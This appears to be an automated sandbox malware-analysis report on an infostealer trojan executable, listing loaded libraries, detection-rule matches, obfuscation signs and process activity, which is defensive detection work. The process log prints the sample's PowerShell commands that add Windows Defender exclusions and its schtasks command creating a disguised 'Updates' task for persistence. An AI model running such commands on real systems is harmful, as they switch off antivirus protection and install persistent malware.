Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: msv1_0.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: ntlmshared.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: cryptdll.dll

Source: P020241901.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 14.2.VKkzqGUhsZwwm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.P020241901.exe.3799000.10.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.P020241901.exe.375e5e0.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.P020241901.exe.375e5e0.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.P020241901.exe.3799000.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: P020241901.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: VKkzqGUhsZwwm.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.P020241901.exe.3799000.10.raw.unpack, NpXw3kw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.P020241901.exe.3799000.10.raw.unpack, NpXw3kw.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.P020241901.exe.3799000.10.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.P020241901.exe.3799000.10.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.P020241901.exe.3799000.10.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.P020241901.exe.3799000.10.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.P020241901.exe.3799000.10.raw.unpack, fpnV0Qjz.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.P020241901.exe.3799000.10.raw.unpack, fpnV0Qjz.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	Security API names: _0020.SetAccessControl
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	Security API names: _0020.AddAccessRule
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, Mon41UfUXZQosr60DT.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	Security API names: _0020.SetAccessControl
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	Security API names: _0020.AddAccessRule
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, Mon41UfUXZQosr60DT.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/15@2/1

Source: C:\Users\user\Desktop\P020241901.exe

File created: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7496:120:WilError_03

Source: C:\Users\user\Desktop\P020241901.exe

File created: C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp

Jump to behavior

Source: P020241901.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: P020241901.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\P020241901.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\P020241901.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\P020241901.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\P020241901.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: P020241901.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\P020241901.exe

File read: C:\Users\user\Desktop\P020241901.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\P020241901.exe C:\Users\user\Desktop\P020241901.exe
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Users\user\Desktop\P020241901.exe C:\Users\user\Desktop\P020241901.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpBEA.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process created: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Users\user\Desktop\P020241901.exe C:\Users\user\Desktop\P020241901.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpBEA.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process created: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Jump to behavior

Source: C:\Users\user\Desktop\P020241901.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\P020241901.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\P020241901.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: P020241901.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: P020241901.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: P020241901.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: kugJ.pdbSHA256 source: P020241901.exe, VKkzqGUhsZwwm.exe.0.dr
Source:	Binary string: kugJ.pdb source: P020241901.exe, VKkzqGUhsZwwm.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: P020241901.exe, frmGetData.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: VKkzqGUhsZwwm.exe.0.dr, frmGetData.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.P020241901.exe.4e90000.13.raw.unpack, Uni.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	.Net Code: xHRHxx28gr System.Reflection.Assembly.Load(byte[])
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	.Net Code: xHRHxx28gr System.Reflection.Assembly.Load(byte[])
Source: 0.2.P020241901.exe.25a3510.0.raw.unpack, Uni.cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: P020241901.exe

Static PE information: 0x9A0837A8 [Wed Nov 22 01:36:40 2051 UTC]

Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_06EDABA6 push dword ptr [edx+ebp*2-75h]; iretd	0_2_06EDABAF
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CCBCD2 push es; retf	9_2_05CCBCE2
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CCC451 push cs; retf	9_2_05CCC452
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_06B89985 push FFFFFF8Bh; iretd	10_2_06B89987

Source: P020241901.exe	Static PE information: section name: .text entropy: 7.992542733514758
Source: VKkzqGUhsZwwm.exe.0.dr	Static PE information: section name: .text entropy: 7.992542733514758

Source: 0.2.P020241901.exe.3965270.12.raw.unpack, QXEfCQbO4ejMkoi2pkL.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'x6fktjWuqX', 'sVMkdSc0Qg', 'tCKkGh5fAb', 'NrGk1kv11V', 'FIIkbncMZt', 'fK1k8HeUlv', 'kg7krYiAfE'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, L6xr2KDkKl0X9RNbit.cs	High entropy of concatenated method names: 'vdaWjJBIGN', 'M0HWmXNaoQ', 'kYOWZBFKFd', 'WDeWP3AY87', 'QCEWAaTxAB', 'SmqWgnEH4Q', 'LNo0iORSgJ2QLHLO4B', 'VHxEspssYrjArm4Lj1', 'GvxWWWyCpp', 'tbJW6U8ETH'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, qfrOihsrVIqemUYdKb.cs	High entropy of concatenated method names: 'ToString', 'H8Og50Nunx', 's6rgKYiiYH', 'bH7gNSQ1dU', 'RUCgqOC56e', 'SrRg4Dwst5', 'rGjg049eAu', 'x9sglwBZJX', 'x6HgXiRS1k', 'zntg94e2cp'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, iGTtMKSJFrUfVV0vaA.cs	High entropy of concatenated method names: 'GPpVZpaJFI', 'AvXVP4LsJd', 'ToString', 'EdFVakxFDX', 'GVuVRXL6ay', 'uTlVM4jCDR', 'J9MVvicmQg', 'sgwV74PK0m', 'svkVjpA3Jb', 'FGiVmj9nSb'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, bPNNRdxo201VexQ9ab.cs	High entropy of concatenated method names: 'pKkyw4TH5K', 'BsqyKkklTS', 'huryNi9qIE', 'Q12yqyBcdE', 'gtVyt2017o', 'R6Uy4OnCTA', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, cadg7Rdhg8q8Fy4m9y.cs	High entropy of concatenated method names: 'GOZSUxuYfY', 'UClSBFXhZU', 'TKjSw2DAMv', 'G16SK9yXoM', 'qSpSqZ2Zq4', 'BRIS430fnL', 'jRTSl8lr6e', 'n4cSX3Ya3s', 'x0DSOF1VUn', 'zG5S5i5xt8'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, je9TcX0xAKQDM7LNZD.cs	High entropy of concatenated method names: 'M6xvowGRiB', 'fB3vevlLeC', 'uUVMNRonH5', 'FDDMq6YWC9', 'uL8M4t7XH6', 'suDM08xRur', 'z8gMl4xv4L', 'gvcMXivfpa', 'm8OM9lPrjy', 'CI1MO7vaqF'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	High entropy of concatenated method names: 'kMr6srje9M', 'O386aNTZAq', 'kxe6RMR219', 'oEb6MMKdoK', 'ntR6vY8aTd', 'vPP67HcbJM', 'Dk16jDNrKX', 'Onq6mnFVnW', 'Aht6hnlUXT', 'sSb6ZhkjTK'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, Mon41UfUXZQosr60DT.cs	High entropy of concatenated method names: 'DnmRtekQlP', 'vnrRdwBpSl', 't3BRG098iJ', 'lKMR1yvS6S', 'tGARbfmlaI', 'NT5R8tTlFI', 'SBmRrk8y9w', 'VjTRJGomwO', 'P8uRDwOV4a', 'u4HRcY2SZ9'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, tQZKKOEqWWpeP4Vpaf.cs	High entropy of concatenated method names: 'bYwyaAFNfN', 'gXbyRZmhQH', 'c4UyMbflvQ', 'BVZyvZIOQe', 'HrJy7w2xll', 'ljTyjovIYh', 'fLkymufj1M', 'Neqyh6cccP', 'QCMyZaiFZC', 'hBDyP52ovJ'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, go06C9moK82tIqZfYy.cs	High entropy of concatenated method names: 'zK3xN6txm', 'n1dTWSSuR', 'HAau0aoeQ', 'I6fesj9jT', 'XAqBHjxrZ', 'tPAFKG0jh', 'EZ9jFTgT7Xd7g5KoQw', 'l4wclXTS3cjFpnhayv', 'D68yEMTKl', 'I7fkTeePG'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, G3IEi4ompnZTtFNQRs.cs	High entropy of concatenated method names: 'cjDVJFOxu1', 'hfNVcChc1U', 'APdyQIZUbh', 'D5FyWRHW6v', 'FnBV52OX52', 'eDqVf7TYbO', 'lvDVEVdvso', 'CGFVtI8KYU', 'xgAVdlxwVw', 'KWsVGkY5cK'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, Iy6OlWlTI2sYZDWQ9K.cs	High entropy of concatenated method names: 'fSGnWspfQG', 'EE9n6cu1dJ', 'EY5nHRgaHs', 'SsNnaO9cRK', 'OPAnR2V72F', 'fkXnvbVm7F', 'Ii1n7bANUc', 'kQIyrDUyRg', 'Q3fyJANjh5', 'JMdyDXW5TB'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, FXeZkIvxW4V3GyxGyW.cs	High entropy of concatenated method names: 'qCd7sFdZME', 'tbu7RsX5NB', 'wlD7vupM3G', 'F927jinM7M', 'OAg7m39fn3', 'aJOvbJPr5g', 'La2v8JCHHW', 'HcnvrTuRmv', 'ePQvJJLLg1', 'ClavD2HuJZ'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, wgEvRkgLjLLSsfE0cN.cs	High entropy of concatenated method names: 'P4kMTkW5f5', 'p56MuLVlwX', 'mJGMUxbKTN', 'w3ZMBlRHgm', 'cj8MAErJgr', 's82MgGSyVM', 'kq9MVnFGpb', 'dRBMyMpiOq', 'zuxMnThgpY', 'Q1oMkQsHxb'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, LS7BVe6fJxxEsYdQMj.cs	High entropy of concatenated method names: 'Dispose', 'aByWDSHOS6', 'xaoCKK0MkA', 'Gxw22VDmM1', 'WuhWcsbufo', 'hCOWzXDynr', 'ProcessDialogKey', 'XOjCQu3nFD', 'rQsCWHnAl6', 'JSeCCMGxdv'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, VWxAWNb5I4Q1gTqGVMC.cs	High entropy of concatenated method names: 'VvonIyDaPH', 'ibenYfsUhR', 'gu6nxA54IR', 'yCInTtBdfM', 'fZunokEmxZ', 'UZ4nuVNIGS', 'HUCnecoW8Q', 'bvgnUSe9fD', 'S5LnBv8fKI', 'hF6nFpqSyH'
Source: 0.2.P020241901.exe.3965270.12.raw.unpack, uW1uhjX5Oiqh7yN2Hx.cs	High entropy of concatenated method names: 'gEPjICbLS7', 'eRVjYMGovT', 'OyVjxynUGH', 'ge0jT6vcoU', 'HKajomD2tt', 'a5NjusyGt5', 'aS3jeSkJnw', 'TY6jUo8IWQ', 'FNwjBAN1s0', 'eUvjFjVU1A'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, QXEfCQbO4ejMkoi2pkL.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'x6fktjWuqX', 'sVMkdSc0Qg', 'tCKkGh5fAb', 'NrGk1kv11V', 'FIIkbncMZt', 'fK1k8HeUlv', 'kg7krYiAfE'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, L6xr2KDkKl0X9RNbit.cs	High entropy of concatenated method names: 'vdaWjJBIGN', 'M0HWmXNaoQ', 'kYOWZBFKFd', 'WDeWP3AY87', 'QCEWAaTxAB', 'SmqWgnEH4Q', 'LNo0iORSgJ2QLHLO4B', 'VHxEspssYrjArm4Lj1', 'GvxWWWyCpp', 'tbJW6U8ETH'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, qfrOihsrVIqemUYdKb.cs	High entropy of concatenated method names: 'ToString', 'H8Og50Nunx', 's6rgKYiiYH', 'bH7gNSQ1dU', 'RUCgqOC56e', 'SrRg4Dwst5', 'rGjg049eAu', 'x9sglwBZJX', 'x6HgXiRS1k', 'zntg94e2cp'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, iGTtMKSJFrUfVV0vaA.cs	High entropy of concatenated method names: 'GPpVZpaJFI', 'AvXVP4LsJd', 'ToString', 'EdFVakxFDX', 'GVuVRXL6ay', 'uTlVM4jCDR', 'J9MVvicmQg', 'sgwV74PK0m', 'svkVjpA3Jb', 'FGiVmj9nSb'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, bPNNRdxo201VexQ9ab.cs	High entropy of concatenated method names: 'pKkyw4TH5K', 'BsqyKkklTS', 'huryNi9qIE', 'Q12yqyBcdE', 'gtVyt2017o', 'R6Uy4OnCTA', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, cadg7Rdhg8q8Fy4m9y.cs	High entropy of concatenated method names: 'GOZSUxuYfY', 'UClSBFXhZU', 'TKjSw2DAMv', 'G16SK9yXoM', 'qSpSqZ2Zq4', 'BRIS430fnL', 'jRTSl8lr6e', 'n4cSX3Ya3s', 'x0DSOF1VUn', 'zG5S5i5xt8'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, je9TcX0xAKQDM7LNZD.cs	High entropy of concatenated method names: 'M6xvowGRiB', 'fB3vevlLeC', 'uUVMNRonH5', 'FDDMq6YWC9', 'uL8M4t7XH6', 'suDM08xRur', 'z8gMl4xv4L', 'gvcMXivfpa', 'm8OM9lPrjy', 'CI1MO7vaqF'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, zcoFxPGFG5DVnMwYGR.cs	High entropy of concatenated method names: 'kMr6srje9M', 'O386aNTZAq', 'kxe6RMR219', 'oEb6MMKdoK', 'ntR6vY8aTd', 'vPP67HcbJM', 'Dk16jDNrKX', 'Onq6mnFVnW', 'Aht6hnlUXT', 'sSb6ZhkjTK'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, Mon41UfUXZQosr60DT.cs	High entropy of concatenated method names: 'DnmRtekQlP', 'vnrRdwBpSl', 't3BRG098iJ', 'lKMR1yvS6S', 'tGARbfmlaI', 'NT5R8tTlFI', 'SBmRrk8y9w', 'VjTRJGomwO', 'P8uRDwOV4a', 'u4HRcY2SZ9'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, tQZKKOEqWWpeP4Vpaf.cs	High entropy of concatenated method names: 'bYwyaAFNfN', 'gXbyRZmhQH', 'c4UyMbflvQ', 'BVZyvZIOQe', 'HrJy7w2xll', 'ljTyjovIYh', 'fLkymufj1M', 'Neqyh6cccP', 'QCMyZaiFZC', 'hBDyP52ovJ'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, go06C9moK82tIqZfYy.cs	High entropy of concatenated method names: 'zK3xN6txm', 'n1dTWSSuR', 'HAau0aoeQ', 'I6fesj9jT', 'XAqBHjxrZ', 'tPAFKG0jh', 'EZ9jFTgT7Xd7g5KoQw', 'l4wclXTS3cjFpnhayv', 'D68yEMTKl', 'I7fkTeePG'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, G3IEi4ompnZTtFNQRs.cs	High entropy of concatenated method names: 'cjDVJFOxu1', 'hfNVcChc1U', 'APdyQIZUbh', 'D5FyWRHW6v', 'FnBV52OX52', 'eDqVf7TYbO', 'lvDVEVdvso', 'CGFVtI8KYU', 'xgAVdlxwVw', 'KWsVGkY5cK'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, Iy6OlWlTI2sYZDWQ9K.cs	High entropy of concatenated method names: 'fSGnWspfQG', 'EE9n6cu1dJ', 'EY5nHRgaHs', 'SsNnaO9cRK', 'OPAnR2V72F', 'fkXnvbVm7F', 'Ii1n7bANUc', 'kQIyrDUyRg', 'Q3fyJANjh5', 'JMdyDXW5TB'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, FXeZkIvxW4V3GyxGyW.cs	High entropy of concatenated method names: 'qCd7sFdZME', 'tbu7RsX5NB', 'wlD7vupM3G', 'F927jinM7M', 'OAg7m39fn3', 'aJOvbJPr5g', 'La2v8JCHHW', 'HcnvrTuRmv', 'ePQvJJLLg1', 'ClavD2HuJZ'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, wgEvRkgLjLLSsfE0cN.cs	High entropy of concatenated method names: 'P4kMTkW5f5', 'p56MuLVlwX', 'mJGMUxbKTN', 'w3ZMBlRHgm', 'cj8MAErJgr', 's82MgGSyVM', 'kq9MVnFGpb', 'dRBMyMpiOq', 'zuxMnThgpY', 'Q1oMkQsHxb'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, LS7BVe6fJxxEsYdQMj.cs	High entropy of concatenated method names: 'Dispose', 'aByWDSHOS6', 'xaoCKK0MkA', 'Gxw22VDmM1', 'WuhWcsbufo', 'hCOWzXDynr', 'ProcessDialogKey', 'XOjCQu3nFD', 'rQsCWHnAl6', 'JSeCCMGxdv'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, VWxAWNb5I4Q1gTqGVMC.cs	High entropy of concatenated method names: 'VvonIyDaPH', 'ibenYfsUhR', 'gu6nxA54IR', 'yCInTtBdfM', 'fZunokEmxZ', 'UZ4nuVNIGS', 'HUCnecoW8Q', 'bvgnUSe9fD', 'S5LnBv8fKI', 'hF6nFpqSyH'
Source: 0.2.P020241901.exe.6c90000.16.raw.unpack, uW1uhjX5Oiqh7yN2Hx.cs	High entropy of concatenated method names: 'gEPjICbLS7', 'eRVjYMGovT', 'OyVjxynUGH', 'ge0jT6vcoU', 'HKajomD2tt', 'a5NjusyGt5', 'aS3jeSkJnw', 'TY6jUo8IWQ', 'FNwjBAN1s0', 'eUvjFjVU1A'

Source: C:\Users\user\Desktop\P020241901.exe

File created: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\P020241901.exe

